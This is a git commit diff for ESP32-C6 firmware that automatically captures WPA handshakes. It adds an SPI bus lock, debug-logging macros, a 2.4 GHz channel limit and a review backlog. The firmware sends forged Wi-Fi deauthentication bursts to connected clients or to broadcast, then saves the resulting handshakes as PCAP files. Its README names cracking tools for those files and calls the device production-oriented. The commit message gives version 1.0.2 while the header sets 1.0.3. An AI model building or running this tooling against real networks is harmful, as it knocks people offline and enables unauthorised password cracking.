handshake-capture-c6: SPI bus lock, SD v1.0.2 diagnostics, MUST_DO review

- SPI_Bus_Lock: serialize LCD + SD on shared SPI; pause display during SD
- SD_Init after WiFi scan; SD_IsReady gating; serial [SD]/[CAP] diagnostics
- MUST_DO_IMPROVEMENTS.md full firmware review backlog; README link
- Bump HANDSHAKE_FIRMWARE_VERSION to 1.0.2 (header)

Made-with: Cursor
This commit is contained in:
drjones
2026-03-21 17:59:45 -07:00
parent 804e71e175
commit 7e93324288
12 changed files with 331 additions and 71 deletions

View File

@@ -1,46 +1,56 @@
#include "Display_ST7789.h" #include "Display_ST7789.h"
#include "SPI_Bus_Lock.h"
#define SPI_WRITE(_dat) SPI.transfer(_dat) #define SPI_WRITE(_dat) SPI.transfer(_dat)
#define SPI_WRITE_Word(_dat) SPI.transfer16(_dat) #define SPI_WRITE_Word(_dat) SPI.transfer16(_dat)
void SPI_Init() { void SPI_Init() {
SPIBus_Init();
SPI.begin(EXAMPLE_PIN_NUM_SCLK, EXAMPLE_PIN_NUM_MISO, EXAMPLE_PIN_NUM_MOSI); SPI.begin(EXAMPLE_PIN_NUM_SCLK, EXAMPLE_PIN_NUM_MISO, EXAMPLE_PIN_NUM_MOSI);
} }
void LCD_WriteCommand(uint8_t Cmd) { void LCD_WriteCommand(uint8_t Cmd) {
SPIBus_Lock();
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0)); SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, LOW);
SPI_WRITE(Cmd); SPI_WRITE(Cmd);
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
SPI.endTransaction(); SPI.endTransaction();
SPIBus_Unlock();
} }
void LCD_WriteData(uint8_t Data) { void LCD_WriteData(uint8_t Data) {
SPIBus_Lock();
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0)); SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH); digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
SPI_WRITE(Data); SPI_WRITE(Data);
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
SPI.endTransaction(); SPI.endTransaction();
SPIBus_Unlock();
} }
void LCD_WriteData_Word(uint16_t Data) { void LCD_WriteData_Word(uint16_t Data) {
SPIBus_Lock();
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0)); SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH); digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
SPI_WRITE_Word(Data); SPI_WRITE_Word(Data);
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
SPI.endTransaction(); SPI.endTransaction();
SPIBus_Unlock();
} }
void LCD_WriteData_nbyte(uint8_t* SetData, uint8_t* ReadData, uint32_t Size) { void LCD_WriteData_nbyte(uint8_t* SetData, uint8_t* ReadData, uint32_t Size) {
SPIBus_Lock();
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0)); SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH); digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
SPI.transferBytes(SetData, ReadData, Size); SPI.transferBytes(SetData, ReadData, Size);
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
SPI.endTransaction(); SPI.endTransaction();
SPIBus_Unlock();
} }
void LCD_Reset(void) { void LCD_Reset(void) {
@@ -158,11 +168,13 @@ void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yen
} }
void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend, uint16_t* color) { void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend, uint16_t* color) {
SPIBus_Lock();
uint16_t Show_Width = Xend - Xstart + 1; uint16_t Show_Width = Xend - Xstart + 1;
uint16_t Show_Height = Yend - Ystart + 1; uint16_t Show_Height = Yend - Ystart + 1;
uint32_t numBytes = Show_Width * Show_Height * sizeof(uint16_t); uint32_t numBytes = Show_Width * Show_Height * sizeof(uint16_t);
LCD_SetCursor(Xstart, Ystart, Xend, Yend); LCD_SetCursor(Xstart, Ystart, Xend, Yend);
LCD_WriteData_nbyte((uint8_t*)color, nullptr, numBytes); LCD_WriteData_nbyte((uint8_t*)color, nullptr, numBytes);
SPIBus_Unlock();
} }
void Backlight_Init(void) { void Backlight_Init(void) {

View File

@@ -4,11 +4,6 @@
#include <algorithm> #include <algorithm>
#include <cstring> #include <cstring>
// Set 0 to use STA-only (test deauth + promiscuous on your core first).
#ifndef USE_SOFTAP
#define USE_SOFTAP 1
#endif
// ─── Internal prototypes ─── // ─── Internal prototypes ───
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type); static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
@@ -33,18 +28,10 @@ CapturePhase capturePhase = PHASE_OBSERVING;
// ─── Phase timing ─── // ─── Phase timing ───
// Longer windows: handshakes often arrive a few seconds after deauth; sweep all BSSIDs over time.
#define OBSERVE_DURATION_MS 8000
#define CAPTURE_TIMEOUT_MS 20000
#define DEAUTH_BURST_COUNT 5
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
#define MAX_OBSERVE_CYCLES 5 // observe→deauth→capture rounds per channel visit
#define DEAUTH_GAP_AFTER_CLIENT_MS 80 // RX window between client bursts
#define DEAUTH_GAP_AFTER_SLOT_MS 120 // RX window between AP slots
// EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit). // EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit).
static unsigned long phase_timer = 0; static unsigned long phase_timer = 0;
// Counts completed observe windows that led to a deauth burst (1..MAX_OBSERVE_CYCLES). // Counts completed observe windows that led to a deauth burst (1..HANDSHAKE_MAX_OBSERVE_CYCLES).
static uint8_t deauth_cycle_count = 0; static uint8_t deauth_cycle_count = 0;
static int last_channel = 0; static int last_channel = 0;
@@ -146,7 +133,7 @@ void handshakeCaptureProcessPending() {
SD_Init(); SD_Init();
} }
if (!SD_IsReady()) { if (!SD_IsReady()) {
Serial.println("SD not ready — discarding pending PCAP"); HANDSHAKE_LOGLN("SD not ready — discarding pending PCAP");
Ui_SetWifiStatus("SD: insert card"); Ui_SetWifiStatus("SD: insert card");
discardSlotCapture(s, i); discardSlotCapture(s, i);
continue; continue;
@@ -162,21 +149,13 @@ void handshakeCaptureProcessPending() {
filename.replace(" ", "_"); filename.replace(" ", "_");
sanitizeFilenameForFat(filename); sanitizeFilenameForFat(filename);
File file = SD.open(filename.c_str(), FILE_WRITE); bool ok = SD_WriteFileAtomic(filename.c_str(), s->pcap_buffer, s->pcap_size);
bool ok = false; if (ok) {
if (file) { HANDSHAKE_LOGF("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) {
Serial.printf("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
Ui_SetWifiStatus("4-way saved!"); Ui_SetWifiStatus("4-way saved!");
ok = true;
} else { } else {
Serial.println("SD write failed — discarding buffer"); HANDSHAKE_LOGLN("SD save failed — discarding buffer");
Ui_SetWifiStatus("SD write err"); Ui_SetWifiStatus("SD save err");
}
file.close();
} else {
Serial.println("SD open failed — discarding buffer");
Ui_SetWifiStatus("SD open err");
} }
if (ok) { if (ok) {
@@ -236,14 +215,22 @@ bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
return a.rssi > b.rssi; return a.rssi > b.rssi;
} }
bool isCaptureable(int index) { bool isSupportedCaptureAuth(const String& enc) {
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
const String& enc = networks[index].encryption;
if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true; if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true;
if (enc == "WPA3" || enc == "WPA2/WPA3") return true; if (enc == "WPA3" || enc == "WPA2/WPA3") return true;
return false; return false;
} }
bool isSupportedCaptureChannel(int channel) {
return channel >= HANDSHAKE_MIN_CHANNEL && channel <= HANDSHAKE_MAX_CHANNEL;
}
bool isCaptureable(int index) {
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
return isSupportedCaptureAuth(networks[index].encryption) &&
isSupportedCaptureChannel(networks[index].ch);
}
int getCaptureableCount() { int getCaptureableCount() {
int n = 0; int n = 0;
for (int i = 0; i < MAX_NETWORKS; i++) { for (int i = 0; i < MAX_NETWORKS; i++) {
@@ -254,19 +241,23 @@ int getCaptureableCount() {
} }
static int getNextChannelSweep() { static int getNextChannelSweep() {
int ch_counts[15] = {0}; int ch_counts[HANDSHAKE_MAX_CHANNEL + 1] = {0};
for (int i = 0; i < MAX_NETWORKS; i++) { for (int i = 0; i < MAX_NETWORKS; i++) {
if (networks[i].ssid.isEmpty()) break; if (networks[i].ssid.isEmpty()) break;
if (networks[i].handshake_captured || !isCaptureable(i)) continue; if (networks[i].handshake_captured || !isCaptureable(i)) continue;
int ch = networks[i].ch; int ch = networks[i].ch;
if (ch >= 1 && ch <= 14) ch_counts[ch - 1]++; if (isSupportedCaptureChannel(ch)) ch_counts[ch]++;
} }
// Simple circular sweep across channels that still have targets. // Simple circular sweep across channels that still have targets.
int start = last_channel; const int channel_count = HANDSHAKE_MAX_CHANNEL - HANDSHAKE_MIN_CHANNEL + 1;
for (int step = 0; step < 14; step++) { int start_index = 0;
int ch = ((start + step) % 14) + 1; if (isSupportedCaptureChannel(last_channel)) {
if (ch_counts[ch - 1] > 0) return ch; start_index = (last_channel - HANDSHAKE_MIN_CHANNEL + 1) % channel_count;
}
for (int step = 0; step < channel_count; step++) {
int ch = HANDSHAKE_MIN_CHANNEL + ((start_index + step) % channel_count);
if (ch_counts[ch] > 0) return ch;
} }
return 0; return 0;
} }
@@ -396,9 +387,9 @@ static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac)
memcpy(&deauth[10], bssid, 6); memcpy(&deauth[10], bssid, 6);
memcpy(&deauth[16], bssid, 6); memcpy(&deauth[16], bssid, 6);
for (int i = 0; i < DEAUTH_BURST_COUNT; i++) { for (int i = 0; i < HANDSHAKE_DEAUTH_BURST_COUNT; i++) {
esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false); esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY); if (i < HANDSHAKE_DEAUTH_BURST_COUNT - 1) delay(HANDSHAKE_DEAUTH_BURST_DELAY_MS);
} }
} }
@@ -408,17 +399,17 @@ static void sendDeauthBurstAll() {
if (!s->active) continue; if (!s->active) continue;
if (s->client_count > 0) { if (s->client_count > 0) {
Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count); HANDSHAKE_LOGF("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
for (uint8_t c = 0; c < s->client_count; c++) { for (uint8_t c = 0; c < s->client_count; c++) {
sendDeauthToClient(s->bssid, s->clients[c].mac); sendDeauthToClient(s->bssid, s->clients[c].mac);
if (c + 1 < s->client_count) delay(DEAUTH_GAP_AFTER_CLIENT_MS); if (c + 1 < s->client_count) delay(HANDSHAKE_DEAUTH_GAP_AFTER_CLIENT_MS);
} }
} else { } else {
Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid); HANDSHAKE_LOGF("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
sendDeauthToClient(s->bssid, bcast); sendDeauthToClient(s->bssid, bcast);
} }
delay(DEAUTH_GAP_AFTER_SLOT_MS); delay(HANDSHAKE_DEAUTH_GAP_AFTER_SLOT_MS);
} }
} }
@@ -460,7 +451,7 @@ void startMultiCapture() {
for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0; for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0;
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled); HANDSHAKE_LOGF("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
} }
void stopCapture() { void stopCapture() {
@@ -488,31 +479,31 @@ void handshakeCaptureLoop() {
// Phase 2 → Phase 3 (transient burst) → Phase 4 // Phase 2 → Phase 3 (transient burst) → Phase 4
if (capturePhase == PHASE_OBSERVING) { if (capturePhase == PHASE_OBSERVING) {
if (now - phase_timer >= OBSERVE_DURATION_MS) { if (now - phase_timer >= HANDSHAKE_OBSERVE_DURATION_MS) {
int total = 0; int total = 0;
for (int i = 0; i < MAX_SLOTS; i++) { for (int i = 0; i < MAX_SLOTS; i++) {
if (slots[i].active) { if (slots[i].active) {
Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count); HANDSHAKE_LOGF(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
total += slots[i].client_count; total += slots[i].client_count;
} }
} }
Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total); HANDSHAKE_LOGF("Observation done: %d client(s). Sending deauth burst.\n", total);
sendDeauthBurstAll(); sendDeauthBurstAll();
capturePhase = PHASE_CAPTURING; capturePhase = PHASE_CAPTURING;
phase_timer = now; phase_timer = now;
deauth_cycle_count++; deauth_cycle_count++;
Serial.println("Phase 4: capturing handshakes..."); HANDSHAKE_LOGLN("Phase 4: capturing handshakes...");
} }
} }
// Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts // Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts
if (capturePhase == PHASE_CAPTURING) { if (capturePhase == PHASE_CAPTURING) {
if (now - phase_timer >= CAPTURE_TIMEOUT_MS) { if (now - phase_timer >= HANDSHAKE_CAPTURE_TIMEOUT_MS) {
if (deauth_cycle_count < MAX_OBSERVE_CYCLES) { if (deauth_cycle_count < HANDSHAKE_MAX_OBSERVE_CYCLES) {
Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n", HANDSHAKE_LOGF("Capture timeout. Re-observing (cycle %d/%d)...\n",
(int)deauth_cycle_count + 1, MAX_OBSERVE_CYCLES); (int)deauth_cycle_count + 1, HANDSHAKE_MAX_OBSERVE_CYCLES);
portENTER_CRITICAL(&capture_mux); portENTER_CRITICAL(&capture_mux);
for (int i = 0; i < MAX_SLOTS; i++) { for (int i = 0; i < MAX_SLOTS; i++) {
if (slots[i].active) slots[i].client_count = 0; if (slots[i].active) slots[i].client_count = 0;
@@ -522,7 +513,7 @@ void handshakeCaptureLoop() {
capturePhase = PHASE_OBSERVING; capturePhase = PHASE_OBSERVING;
phase_timer = now; phase_timer = now;
} else { } else {
Serial.println("Max observe/deauth cycles done; stopping capture on this channel."); HANDSHAKE_LOGLN("Max observe/deauth cycles done; stopping capture on this channel.");
stopCapture(); stopCapture();
} }
} }
@@ -639,7 +630,7 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
} }
if (is_eapol) { if (is_eapol) {
if (pcapAppendSlot(s, payload, len)) { if (s->eapol_count < HANDSHAKE_EAPOL_FRAMES && pcapAppendSlot(s, payload, len)) {
s->eapol_count++; s->eapol_count++;
latest_eapol_count[hit_slot] = s->eapol_count; latest_eapol_count[hit_slot] = s->eapol_count;
if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) { if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) {

View File

@@ -6,9 +6,36 @@
#include <SD.h> #include <SD.h>
/** Semantic version (Serial banner + support). */ /** Semantic version (Serial banner + support). */
#define HANDSHAKE_FIRMWARE_VERSION "1.0.1" #define HANDSHAKE_FIRMWARE_VERSION "1.0.3"
/** SD write only after this many EAPOL-Key frames (full WPA/WPA2 4-way). */ #ifndef HANDSHAKE_DEBUG
#define HANDSHAKE_DEBUG 0
#endif
#ifndef USE_SOFTAP
#define USE_SOFTAP 0
#endif
#define HANDSHAKE_MIN_CHANNEL 1
#define HANDSHAKE_MAX_CHANNEL 14
#define HANDSHAKE_OBSERVE_DURATION_MS 8000UL
#define HANDSHAKE_CAPTURE_TIMEOUT_MS 20000UL
#define HANDSHAKE_CHANNEL_TIMEOUT_MS 150000UL
#define HANDSHAKE_DEAUTH_BURST_COUNT 5
#define HANDSHAKE_DEAUTH_BURST_DELAY_MS 2
#define HANDSHAKE_MAX_OBSERVE_CYCLES 5
#define HANDSHAKE_DEAUTH_GAP_AFTER_CLIENT_MS 80
#define HANDSHAKE_DEAUTH_GAP_AFTER_SLOT_MS 120
#if HANDSHAKE_DEBUG
#define HANDSHAKE_LOGF(...) Serial.printf(__VA_ARGS__)
#define HANDSHAKE_LOGLN(msg) Serial.println(msg)
#else
#define HANDSHAKE_LOGF(...) do { } while (0)
#define HANDSHAKE_LOGLN(msg) do { } while (0)
#endif
/** Heuristic threshold only; frames are not validated as distinct 4-way steps. */
#define HANDSHAKE_EAPOL_FRAMES 4 #define HANDSHAKE_EAPOL_FRAMES 4
// Two APs at once: less on-air contention, more time per target before rotating. // Two APs at once: less on-air contention, more time per target before rotating.
@@ -82,6 +109,8 @@ bool wasBssidCaptured(const uint8_t* bssid);
void scanNetworksSortedByRSSI(); void scanNetworksSortedByRSSI();
void startMultiCapture(); void startMultiCapture();
void stopCapture(); void stopCapture();
bool isSupportedCaptureAuth(const String& encryption);
bool isSupportedCaptureChannel(int channel);
bool isCaptureable(int index); bool isCaptureable(int index);
void handshakeCaptureLoop(); void handshakeCaptureLoop();
int getCaptureableCount(); int getCaptureableCount();

View File

@@ -1,4 +1,5 @@
#include "LVGL_Driver.h" #include "LVGL_Driver.h"
#include "SPI_Bus_Lock.h"
static lv_disp_draw_buf_t draw_buf; static lv_disp_draw_buf_t draw_buf;
static lv_color_t buf1[LVGL_BUF_LEN]; static lv_color_t buf1[LVGL_BUF_LEN];
@@ -187,5 +188,6 @@ void Lvgl_Init(void) {
} }
void Timer_Loop(void) { void Timer_Loop(void) {
if (SPIBus_IsDisplayPaused()) return;
lv_timer_handler(); lv_timer_handler();
} }

View File

@@ -0,0 +1,97 @@
# Must-do improvements (firmware review)
Full pass over `handshake-capture-c6`: capture logic, SD, UI, display SPI, and main loop. Items below are **simple in concept** (some need careful implementation). Ordered by **severity**.
---
## 1. **Serialize shared SPI (LCD + SD)** — *critical*
**What:** ST7789 and the SD card share `SPI` (MOSI/SCLK/MISO; separate CS). **LVGL** flushes the display from `Timer_Loop()``LCD_*` → SPI, while **`SD.open` / `write` / `close`** use the same bus.
**Risk:** Interleaved transactions corrupt SD I/O or garble a display frame → failed mounts, bogus PCAP writes, or rare crashes.
**Do:** Add a single **mutex** (e.g. `portMUX_TYPE` or FreeRTOS mutex) that **every** LCD SPI transfer and **every** SD filesystem call takes around the full operation (including `SD.begin` path if the core does SPI under the hood). Alternatively: **pause LVGL** (skip `lv_timer_handler` / block flush) for the duration of each SD block in `handshakeCaptureProcessPending()`.
**Files:** `Display_ST7789.cpp`, `SD_Card.cpp`, `handshake-capture-c6.ino` (or one small `spi_bus_lock.h` used by both).
---
## 2. **Cap or validate `eapol_count` semantics** — *high*
**What:** Any unencrypted EAPOL-shaped frame increments the counter. **Four frames ≠ guaranteed one valid 4-way** (could be duplicates, other STAs, or rekeys).
**Do (minimal):** Document the limitation in `README.md`. **Better (still small):** stop incrementing after `HANDSHAKE_EAPOL_FRAMES` (saves buffer space and makes UI honest). **Better later:** parse EAPOL Key Info / replay counter to count **distinct** steps of the handshake (more code).
**Files:** `HandshakeCapture.cpp` (promisc callback EAPOL branch).
---
## 3. **2.4 GHzonly channel sweep** — *high for real environments*
**What:** `getNextChannelSweep()` only considers channels **114**. Scan results on **5 GHz** (or 6 GHz, if ever reported) are never visited, so those BSSIDs are never captured.
**Do:** Either **exclude** non-2.4G networks from the UI / `isCaptureable` path with a clear status, or **extend** sweep to supported `WiFi.channel()` values for your core/regulatory config (larger change: channel hop rules, dwell time).
**Files:** `HandshakeCapture.cpp` (`getNextChannelSweep`, `startMultiCapture`).
---
## 4. **Production vs debug serial** — *medium*
**What:** `[SD]`, `[CAP]`, `[SETUP]` strings and deauth logs are useful on the bench but noisy and slightly slow in the field.
**Do:** Wrap verbose `Serial.printf` / `println` in `#ifdef HANDSHAKE_DEBUG` (or a build flag) default **off** for “release” builds; keep boot **version line** always.
**Files:** `SD_Card.cpp`, `HandshakeCapture.cpp`, `handshake-capture-c6.ino`.
---
## 5. **`USE_SOFTAP` default** — *medium*
**What:** `WiFi.mode(WIFI_AP_STA)` runs a soft AP **without** a clear use case in this sketch (capture is STA + promisc). Extra RF/channel behavior and attack surface.
**Do:** Default `#define USE_SOFTAP 0` unless you explicitly need AP mode; document how to enable for lab tests.
**Files:** `HandshakeCapture.cpp`, `README.md`.
---
## 6. **Long SD write vs watchdog / UI** — *medium*
**What:** Writing ~4 KB PCAP can block the main loop for tens of ms. LVGL stalls; on some configs the **task watchdog** could trip if SD is slow or the card hangs.
**Do:** After large `file.write`, optional `yield()`; if WDT issues appear, `esp_task_wdt_reset()` in the SD path **only** with measured care, or increase WDT timeout in `setup`. Prefer fixing SPI contention (#1) first.
**Files:** `HandshakeCapture.cpp` (`handshakeCaptureProcessPending`), `setup()`.
---
## 7. **Rescan invalidates “ready” list vs slots** — *low*
**What:** During capture, the network list is static. If user triggers rescan (or you add a button later), `network_index` in slots could desync from rebuilt `networks[]`.
**Do:** Today there is no mid-capture rescan from UI — **document** that. If rescan is added, **stop capture** first and clear slots.
**Files:** `README.md` / future UI code.
---
## 8. **Magic numbers centralization** — *low (maintainability)*
**What:** Timing (`OBSERVE_DURATION_MS`, `CAPTURE_TIMEOUT_MS`, …) and `CHANNEL_TIMEOUT_MS` in the `.ino` are related but defined in two places; easy to desync.
**Do:** Move all timing `#define`s to one header (e.g. `HandshakeCapture.h` or `capture_config.h`) and include from the sketch.
**Files:** `HandshakeCapture.cpp`, `handshake-capture-c6.ino`.
---
### Already in decent shape
- Spinlock around promiscuous vs main-loop slot state; SD I/O only on main loop.
- `SD_IsReady()` vs flaky `cardType()` after WiFi; FAT filename sanitization; discard on failed save (no pending deadlock).
- PCAP fixed buffer; append failure doesnt increment EAPOL count.
---
*Add new items here as you close these; bump `HANDSHAKE_FIRMWARE_VERSION` when behavior changes.*

View File

@@ -4,15 +4,19 @@ Production-oriented WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47
**Firmware version:** `HANDSHAKE_FIRMWARE_VERSION` in `HandshakeCapture.h` (also printed on serial at boot). **Firmware version:** `HANDSHAKE_FIRMWARE_VERSION` in `HandshakeCapture.h` (also printed on serial at boot).
**Review backlog:** prioritized fixes from a full firmware pass → **`MUST_DO_IMPROVEMENTS.md`**.
## Features ## Features
- **SD required for capture:** No card, or open/write failure → pending PCAP is **discarded** and the slot freed (no infinite pending). Hot-insert: sketch retries `SD_Init()` before each capture round. - **SD required for capture:** No card, or open/write failure → pending PCAP is **discarded** and the slot freed (no infinite pending). Hot-insert: sketch retries `SD_Init()` before each capture round.
- **SD storage:** Saves **only complete 4-way handshakes** as `.pcap` (LINKTYPE_IEEE802_11): `4way_<ssid>_<ms>_s<n>.pcap`. Filenames are **FAT-sanitized**. No PMKID-only or partial EAPOL dumps. - **SD storage:** Saves **only complete 4-way handshakes** as `.pcap` (LINKTYPE_IEEE802_11): `4way_<ssid>_<ms>_s<n>.pcap`. Filenames are **FAT-sanitized**. No PMKID-only or partial EAPOL dumps.
- **Auto-deauth:** Bursts toward mapped clients to provoke a full 4-way. - **Auto-deauth:** Bursts toward mapped clients to provoke a full 4-way.
- **Display:** **Green** = pending, **red** = 4-way saved to SD. - **Display:** **Green** = targetable 2.4 GHz WPA/WPA2/WPA3 AP, **gray** = shown but skipped, **red** = 4-way saved to SD.
- **No web UI:** Capture-only device. - **No web UI:** Capture-only device.
- **WPA / WPA2 / WPA3 PSK / mixed** (when the core reports them). Skips Open, WEP, WPA2-Enterprise. - **WPA / WPA2 / WPA3 PSK / mixed** (when the core reports them). Skips Open, WEP, WPA2-Enterprise.
- **2.4 GHz only capture sweep:** channels `1-14` are targeted. Secure APs seen on `5/6 GHz` stay visible in the list but are marked `5G+` and skipped.
- **BSSID cache:** Captured BSSIDs stay red across rescans. - **BSSID cache:** Captured BSSIDs stay red across rescans.
- **Shared SPI protection:** LCD flushes and SD filesystem calls now serialize on one bus lock; SD writes also pause LVGL updates for the duration of the transaction.
**Convert:** `hcxpcapngtool` / Wireshark / aircrack-ng expect PCAP with EAPOL-Key frames; a full 4-way is included in each saved file (plus one target beacon when available). **Convert:** `hcxpcapngtool` / Wireshark / aircrack-ng expect PCAP with EAPOL-Key frames; a full 4-way is included in each saved file (plus one target beacon when available).
@@ -20,7 +24,8 @@ Production-oriented WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47
- **Not mergeable across random reconnects:** EAPOL messages from *different* 4-way runs (different nonces / MIC context) usually **cannot** be stitched into one crackable handshake. Tools need a **coherent** set for that AP↔STA association attempt. - **Not mergeable across random reconnects:** EAPOL messages from *different* 4-way runs (different nonces / MIC context) usually **cannot** be stitched into one crackable handshake. Tools need a **coherent** set for that AP↔STA association attempt.
- **Within one visit, frames can trickle in:** While tuned to a channel, the device keeps **one PCAP buffer per target AP**. If the client reconnects several times during the same session, **all EAPOL frames append** until either four are seen (then SD save) or the channel round ends without four (buffer dropped — no file). - **Within one visit, frames can trickle in:** While tuned to a channel, the device keeps **one PCAP buffer per target AP**. If the client reconnects several times during the same session, **all EAPOL frames append** until either four are seen (then SD save) or the channel round ends without four (buffer dropped — no file).
- **Fewer than four frames:** Some attacks (e.g. **PMKID in message 1**, or classic **M1+M2** with beacon) need fewer frames, but this firmware **only saves on four** so every file is a clean full 4-way for your earlier requirement. - **EAPOL counting is still heuristic:** The firmware saves after **four unencrypted EAPOL-shaped frames** for that AP buffer, then stops counting. It still does **not** validate distinct message numbers, replay counters, or rekeys.
- **Fewer than four frames:** Some attacks (e.g. **PMKID in message 1**, or classic **M1+M2** with beacon) need fewer frames, but this firmware **only saves on four** so every file aims to be a clean full 4-way for your earlier requirement.
## Hardware ## Hardware
@@ -49,13 +54,16 @@ arduino-cli upload \
Use `arduino-cli board list` to find the correct port. Use `arduino-cli board list` to find the correct port.
For bench builds, set `HANDSHAKE_DEBUG 1` in `HandshakeCapture.h` to restore verbose serial logs. `USE_SOFTAP` defaults to `0`; only turn it on for lab experiments where you explicitly want `WIFI_AP_STA`.
## Flow ## Flow
1. Boot → scan → display networks (green) 1. Boot → scan → display networks (`green` targetable, `gray` skipped)
2. Channel sweep + **up to 2 WPA APs at a time** on that channel; **map clients → deauth burst → listen** (several rounds per visit) 2. Channel sweep + **up to 2 WPA APs at a time** on that channel; **map clients → deauth burst → listen** (several rounds per visit)
3. PCAP grows in RAM; **SD write only when 4 EAPOL-Key frames** are seen for that AP 3. PCAP grows in RAM; **SD write only when 4 EAPOL-Key frames** are seen for that AP
4. On save → mark red; **refill slots** with other networks on the same channel, then **next channel** until everyone captured or timed out 4. On save → mark red; **refill slots** with other networks on the same channel, then **next channel** until everyone captured or timed out
5. If a visit ends without 4 EAPOL for an AP, that buffer is discarded (no partial PCAP); the next sweep can try again 5. If a visit ends without 4 EAPOL for an AP, that buffer is discarded (no partial PCAP); the next sweep can try again
6. Mid-capture rescans are intentionally not exposed in the UI; if you add one later, stop capture first and clear active slots before rebuilding `networks[]`
## Production checklist ## Production checklist

View File

@@ -1,30 +1,80 @@
#include "SD_Card.h" #include "SD_Card.h"
#include "Display_ST7789.h" #include "Display_ST7789.h"
#include "HandshakeCapture.h"
#include "SPI_Bus_Lock.h"
uint16_t SDCard_Size = 0; uint16_t SDCard_Size = 0;
static bool g_sd_ready = false; static bool g_sd_ready = false;
static bool s_sd_vfs_was_open = false;
static void beginSDOperation() {
SPIBus_SetDisplayPaused(true);
SPIBus_Lock();
}
static void endSDOperation() {
SPIBus_Unlock();
SPIBus_SetDisplayPaused(false);
}
bool SD_IsReady() { bool SD_IsReady() {
return g_sd_ready; return g_sd_ready;
} }
bool SD_Init() { bool SD_Init() {
beginSDOperation();
